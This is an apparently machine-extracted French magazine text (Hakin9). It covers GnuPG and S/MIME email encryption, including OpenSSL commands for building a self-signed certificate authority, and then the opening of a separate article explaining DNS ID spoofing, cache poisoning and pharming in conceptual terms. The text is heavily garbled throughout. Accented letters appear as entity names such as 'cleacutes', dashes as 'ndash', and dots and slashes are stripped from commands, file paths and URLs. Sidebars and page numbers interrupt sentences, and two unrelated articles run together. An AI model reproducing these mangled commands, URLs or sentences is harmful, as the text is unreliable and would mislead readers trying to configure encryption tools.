De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

